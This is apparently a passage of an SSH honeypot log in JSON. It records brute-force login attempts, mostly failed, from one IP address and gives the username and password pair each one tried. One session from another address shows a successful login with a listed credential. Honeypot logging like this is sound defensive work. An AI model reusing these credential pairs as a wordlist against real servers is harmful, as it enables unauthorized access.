}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: lenovo
{
"id": "67b993dfc03e",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:01:23.605772Z",
"end_time": "2026-10-05T22:01:28.767046Z",
"duration": "5.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "lenovo",
"pass": "123@456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: github
{
"id": "1cf136011ae3",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:01:16.586870Z",
"end_time": "2026-10-05T22:01:21.353769Z",
"duration": "4.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "github",
"pass": "test1234"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: roma
{
"id": "bdf015d8bc34",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:01:09.399755Z",
"end_time": "2026-10-05T22:01:14.409756Z",
"duration": "5.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "roma",
"pass": "makelele"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: rocky
{
"id": "b9f067398bbd",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:01:01.290887Z",
"end_time": "2026-10-05T22:01:06.873046Z",
"duration": "5.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "rocky",
"pass": "helloworld"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: dokku
{
"id": "b2a63d92e29a",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:00:53.448314Z",
"end_time": "2026-10-05T22:01:01.203862Z",
"duration": "7.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "dokku",
"pass": "Asalem"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: linda
{
"id": "7dd559425447",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:00:47.511588Z",
"end_time": "2026-10-05T22:00:53.367207Z",
"duration": "5.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "linda",
"pass": "assistant"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: user / 3245gs5662d34
{
"id": "cf791f1e303b",
"src_ip": "58.221.60.25",
"start_time": "2026-10-05T22:00:45.990194Z",
"end_time": "2026-10-05T22:00:56.611760Z",
"duration": "10.6",
"version": "SSH-2.0-libssh_0.11.1",
"hassh": "03a80b21afa810682a776a7d42e5e6fb",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "user",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: apple
{
"id": "073d1e827aea",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:00:39.993590Z",
"end_time": "2026-10-05T22:00:46.512733Z",
"duration": "6.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "apple",
"pass": "hby"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: qyw
{
"id": "5f19579dfa89",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:00:32.529097Z",
"end_time": "2026-10-05T22:00:38.452179Z",
"duration": "5.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "qyw",
"pass": "odoo14"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}